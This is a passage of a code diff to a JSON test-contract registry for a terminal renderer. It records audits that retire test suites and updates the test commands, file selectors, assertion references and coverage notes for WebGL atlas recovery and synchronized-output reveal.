+        "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n        \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n      ]\ntestFiles: [\n        \"src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n        \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts\",\n          \"assertions\": [\"persists and recovers after the same cells stay missing twice\"]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n          \"assertions\": [\"keeps hidden synchronized output off the global atlas recovery path\"]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\",\n          \"assertions\": [\n            \"preserves the WebGL atlas and keeps terminal text painted after document visibility resumes\"\n          ]\n        }\n      ]",
+        "Audit3349 retires the whole terminal-render-desync-sentinel suite, including the same-cells persistence/recovery alarm, without equivalent replacement. Its unit command selector, test-file selector and assertion reference are removed prospectively. Earlier global-effects/window-wake retirements and the retired dated sentinel receipt remain historical verbatim. Two unrelated macOS document-visibility E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh GPU/rendered UI, runtime, historical-import, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3349 historical original commands object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\"",
+        "Audit3349 historical original testFiles object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n\"src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts\"",
+        "Audit3349 historical original assertionRefs object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts\",\n          \"assertions\": [\"persists and recovers after the same cells stay missing twice\"]\n        }"
       ],
       "demotionRule": "Demote if ordinary PTY output re-enters shared reset/refresh recovery, pane-local redraw coverage regresses, ordinary visibility clears the atlas, real WebGL pixels regress, or the focused Electron test cannot remain deterministic."
     },
@@ -12431,38 +12150,19 @@
       "providers": ["local", "daemon"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["local"],
-      "coverageNotes": "Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. The entire dated 98-contract renderer receipt is retired whole, with all original command/currentCommand/date/count/result fields preserved as historical. Historical prior account (preserved verbatim): A headed macOS Electron test drives explicit destructive atlas recovery while DEC 2026 output is held, then compares compositor screenshots before and after a direct full-buffer present. The same renderer choreography is provider-local, but daemon, SSH, remote-runtime, Linux, and Windows GPU runs remain gaps. The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed. The audit removes the canvas-DPR and render-pause-release unit suites and several renderer flag/retry examples. Their isolated DPR-cache, render-service routing and display-none retry alarms are no longer registered; retained unit and historical Electron evidence do not establish equivalent coverage. No live GPU rerun accompanies this administrative update.",
+      "coverageNotes": "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. The entire dated 98-contract renderer receipt is retired whole, with all original command/currentCommand/date/count/result fields preserved as historical. Historical prior account (preserved verbatim): A headed macOS Electron test drives explicit destructive atlas recovery while DEC 2026 output is held, then compares compositor screenshots before and after a direct full-buffer present. The same renderer choreography is provider-local, but daemon, SSH, remote-runtime, Linux, and Windows GPU runs remain gaps. The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed. The audit removes the canvas-DPR and render-pause-release unit suites and several renderer flag/retry examples. Their isolated DPR-cache, render-service routing and display-none retry alarms are no longer registered; retained unit and historical Electron evidence do not establish equivalent coverage. No live GPU rerun accompanies this administrative update.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/pull/7133",
         "https://github.com/stablyai/orca/pull/7054"
       ],
       "invariant": "After proven renderer damage triggers destructive recovery, visible pixels equal a full model-invalidating present of the current buffer.",
-      "oracle": "Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): Hold DEC 2026, invoke explicit atlas recovery, require an atlas clear, screenshot the pane, force a direct renderer present, and assert the bounded pixel diff is immaterial. Compositor screenshots only, because WebGL canvas readback is blank with preserveDrawingBuffer disabled.",
+      "oracle": "Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): Hold DEC 2026, invoke explicit atlas recovery, require an atlas clear, screenshot the pane, force a direct renderer present, and assert the bounded pixel diff is immaterial. Compositor screenshots only, because WebGL canvas readback is blank with preserveDrawingBuffer disabled.",
       "commands": [
         "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts",
         "ORCA_E2E_RECORD_VIDEO=1 pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --repeat-each=3"
       ],
-      "testFiles": [
-        "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts",
-        "src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts",
-        "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts",
-        "src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts",
-        "tests/e2e/terminal-reveal-paused-render-repro.spec.ts"
-      ],
+      "testFiles": ["tests/e2e/terminal-reveal-paused-render-repro.spec.ts"],
       "assertionRefs": [
-        {
-          "file": "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts",
-          "assertions": [
-            "deduplicates a deferred dpr retry and consumes it after repair succeeds",
-            "caps a deferred dpr transition at sixteen animation-frame retries"
-          ]
-        },
-        {
-          "file": "src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts",
-          "assertions": ["defers a heavy-reveal dpr present until the shared atlas recovery"]
-        },
         {
           "file": "tests/e2e/terminal-reveal-paused-render-repro.spec.ts",
           "assertions": ["@headful atlas recovery presents a synchronized-output WebGL frame"]
@@ -12516,7 +12216,10 @@
         "The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed.",
         "The audit removes the canvas-DPR and render-pause-release unit suites and several renderer flag/retry examples. Their isolated DPR-cache, render-service routing and display-none retry alarms are no longer registered; retained unit and historical Electron evidence do not establish equivalent coverage. No live GPU rerun accompanies this administrative update.",
         "Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence.",
-        "Audit1948 historical original evidenceRuns object, preserved verbatim; retired objects are not active execution evidence or replacement coverage:\n{\n          \"date\": \"2026-08-23\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/terminal-visibility-resume.test.ts src/renderer/src/components/terminal-pane/use-terminal-window-wake-recovery.test.ts src/renderer/src/lib/pane-manager/pane-manager-registry.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts src/renderer/src/lib/pane-manager/terminal-canvas-dpr-repair.test.ts src/renderer/src/lib/pane-manager/terminal-render-pause-release.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 2,\n          \"summary\": \"All 98 renderer contracts passed, including same-DPR zero-scan behavior, visible-only fanout, tri-state DPR repair, deduplicated bounded retry, heavy-reveal repair, and listener cleanup. Historical command preserved after the test-value audit removed the referenced reveal/repaint or registry recovery assertions. currentCommand is an administrative link; this historical run has not validated the remaining command or equivalent coverage. Administrative command maintenance removes deleted unit suites; the executed command and result are historical, with no rerun or equivalence claim.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\"\n        }"
+        "Audit1948 historical original evidenceRuns object, preserved verbatim; retired objects are not active execution evidence or replacement coverage:\n{\n          \"date\": \"2026-08-23\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/terminal-visibility-resume.test.ts src/renderer/src/components/terminal-pane/use-terminal-window-wake-recovery.test.ts src/renderer/src/lib/pane-manager/pane-manager-registry.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts src/renderer/src/lib/pane-manager/terminal-canvas-dpr-repair.test.ts src/renderer/src/lib/pane-manager/terminal-render-pause-release.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 2,\n          \"summary\": \"All 98 renderer contracts passed, including same-DPR zero-scan behavior, visible-only fanout, tri-state DPR repair, deduplicated bounded retry, heavy-reveal repair, and listener cleanup. Historical command preserved after the test-value audit removed the referenced reveal/repaint or registry recovery assertions. currentCommand is an administrative link; this historical run has not validated the remaining command or equivalent coverage. Administrative command maintenance removes deleted unit suites; the executed command and result are historical, with no rerun or equivalence claim.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\"\n        }",
+        "Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed.",
+        "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n        \"ORCA_E2E_RECORD_VIDEO=1 pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --repeat-each=3\"\n      ]\ntestFiles: [\n        \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts\",\n        \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n        \"src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n        \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n          \"assertions\": [\"defers a heavy-reveal dpr present until the shared atlas recovery\"]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\",\n          \"assertions\": [\"@headful atlas recovery presents a synchronized-output WebGL frame\"]\n        }\n      ]"
       ],
       "demotionRule": "Drop from the golden suite back to nightly diagnostic if diff thresholds cannot be kept stable across CI runners."
     },
@@ -12532,7 +12235,7 @@
       "providers": ["local", "daemon", "ssh", "remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["local"],
-      "coverageNotes": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): A headed macOS Electron test uses a real xterm WebGL renderer and production tab reveal. It proves the coherent pre-hide canvas remains visible while DEC 2026 holds a newer buffer, then proves normal release and xterm's one-second watchdog publish complete frames. Renderer behavior is provider-neutral; live Linux, Windows, daemon, SSH, and remote-runtime GPU runs remain gaps. The audit removes isolated synchronized-frame viewport-present and render-pause-release unit examples. The historical headed Electron oracle remains recorded; retained scheduling tests do not establish equivalent render-service routing or completed-frame coverage. No live GPU rerun accompanies this administrative update.",
+      "coverageNotes": "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): A headed macOS Electron test uses a real xterm WebGL renderer and production tab reveal. It proves the coherent pre-hide canvas remains visible while DEC 2026 holds a newer buffer, then proves normal release and xterm's one-second watchdog publish complete frames. Renderer behavior is provider-neutral; live Linux, Windows, daemon, SSH, and remote-runtime GPU runs remain gaps. The audit removes isolated synchronized-frame viewport-present and render-pause-release unit examples. The historical headed Electron oracle remains recorded; retained scheduling tests do not establish equivalent render-service routing or completed-frame coverage. No live GPU rerun accompanies this administrative update.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/pull/7133",
         "https://github.com/stablyai/orca/pull/7054"
@@ -12540,24 +12243,10 @@
       "invariant": "terminal-render.synchronized-reveal-coherence: an ordinary reveal never clears a healthy shared atlas or publishes a partially built DEC 2026 frame; it retains the last coherent canvas until release or xterm's bounded watchdog.",
       "oracle": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence. Historical prior account (preserved verbatim): Paint and capture a coherent frame, hide the real terminal tab, build a distinct full-screen frame while DEC 2026 is held, reveal through production, and require zero atlas clears plus pixel-equivalence with the coherent frame. Then release normally and through the one-second watchdog, requiring both compositor frames to match a direct renderer present.",
       "commands": [
-        "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts"
-      ],
-      "testFiles": [
-        "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts",
-        "src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts",
-        "src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts",
-        "tests/e2e/terminal-reveal-paused-render-repro.spec.ts"
+        "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1"
       ],
+      "testFiles": ["tests/e2e/terminal-reveal-paused-render-repro.spec.ts"],
       "assertionRefs": [
-        {
-          "file": "src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts",
-          "assertions": [
-            "schedules an atlas-preserving present on a light tab reveal",
-            "keeps heavy atlas recovery off a plain window refocus"
-          ]
-        },
         {
           "file": "tests/e2e/terminal-reveal-paused-render-repro.spec.ts",
           "assertions": [
@@ -12603,7 +12292,9 @@
         "Linux, Windows, daemon, SSH, and remote-runtime live GPU evidence is not yet recorded.",
         "The 1.5% compositor threshold tolerates cursor and shell-prompt timing noise; exact buffer content and atlas-clear counts are asserted separately.",
         "The audit removes isolated synchronized-frame viewport-present and render-pause-release unit examples. The historical headed Electron oracle remains recorded; retained scheduling tests do not establish equivalent render-service routing or completed-frame coverage. No live GPU rerun accompanies this administrative update.",
-        "Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence."
+        "Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split scheduling and its mock boundary alarms are intentionally lost. The changed source has no transferred historical pass, timing or equivalent-rendered-coverage claim. Independent unchanged headed Electron receipts retain only their original exact scopes; static metadata/source review is no fresh execution evidence.",
+        "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-reveal-paused-render-repro.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\"\n      ]\ntestFiles: [\n        \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts\",\n        \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n        \"src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts\",\n        \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n          \"assertions\": [\n            \"schedules an atlas-preserving present on a light tab reveal\",\n            \"keeps heavy atlas recovery off a plain window refocus\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-reveal-paused-render-repro.spec.ts\",\n          \"assertions\": [\n            \"@headful reveal preserves the coherent frame until synchronized output releases\"\n          ]\n        }\n      ]"
       ],
       "demotionRule": "Demote if ordinary reveal clears the shared atlas, the held frame stops matching its coherent baseline, release/watchdog output diverges from a direct present, or the headed oracle cannot remain deterministic."
     },
@@ -12736,14 +12427,14 @@
       "providers": ["local", "remote-runtime", "ssh"],
       "coveredPlatforms": ["macos", "linux"],
       "coveredProviders": ["local", "remote-runtime", "ssh"],
-      "coverageNotes": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal 